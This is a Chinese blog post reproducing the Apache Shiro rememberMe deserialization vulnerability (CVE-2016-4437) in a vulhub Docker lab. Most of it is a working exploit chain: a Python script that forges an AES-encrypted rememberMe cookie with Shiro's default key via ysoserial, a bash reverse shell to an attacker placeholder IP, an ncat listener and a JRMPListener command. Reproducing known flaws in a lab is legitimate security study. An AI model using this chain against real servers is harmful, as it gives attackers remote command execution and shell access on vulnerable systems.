avatar

shiro反序列化漏洞复现

要求Apache shiro版本低于 1.2.4

准备工作

  1. vulhub靶场

参照官网:https://vulhub.org/#/docs/install-docker-one-click/
1. 安装docker:curl -s https://get.docker.com/ | sh
2. 安装pip:curl -s https://bootstrap.pypa.io/get-pip.py | python
3. 安装docker-compose:pip install docker-compose
4. 拉取Vulhub到本地:git clone https://github.com/vulhub/vulhub.git
2. 工具/脚本
1. github下载‘ysoserial-master-30099844c6-1.jar’
附下载链接:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
2. 关键payload构造脚本: 要求 ysoserial-master-30099844c6-1.jar和poc.py放在同一目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

进入靶场

  1. cd到 ”/vulhub/shiro/cve-2016-4437“ 目录,启动环境:docker-compose up -d
  2. 访问本地8080端口,靶场界面如下:

不清楚端口的可以执行docker ps -a 查看映射端口

开始操作

漏洞利用流程:生成恶意cookie–>端口监听–>发送cookie–>反弹shell

  1. 执行脚本生成恶意cookie:

    1
    python poc.py x.x.x.x:1099  (x.x.x.x:攻击方ip,端口可自定,注意与后面的操作对应)

注意:1. 在python2环境下运行。2.报错“No matching distribution found for Crypto.Cipher”,解决:pip install pycrypto

  1. shellcode及编码

    1
    bash -i >& /dev/tcp/x.x.x.x/7878 0>&1
  2. 端口监听

    1. 监听shell:ncat -lv -p 7878
    2. 监听JRMP端口:
      1
      java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '加密后的反弹shell'
  3. burp发送恶意cookie

  4. shell反弹

Author: Tabooair
Link: http://yoursite.com/2020/04/18/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.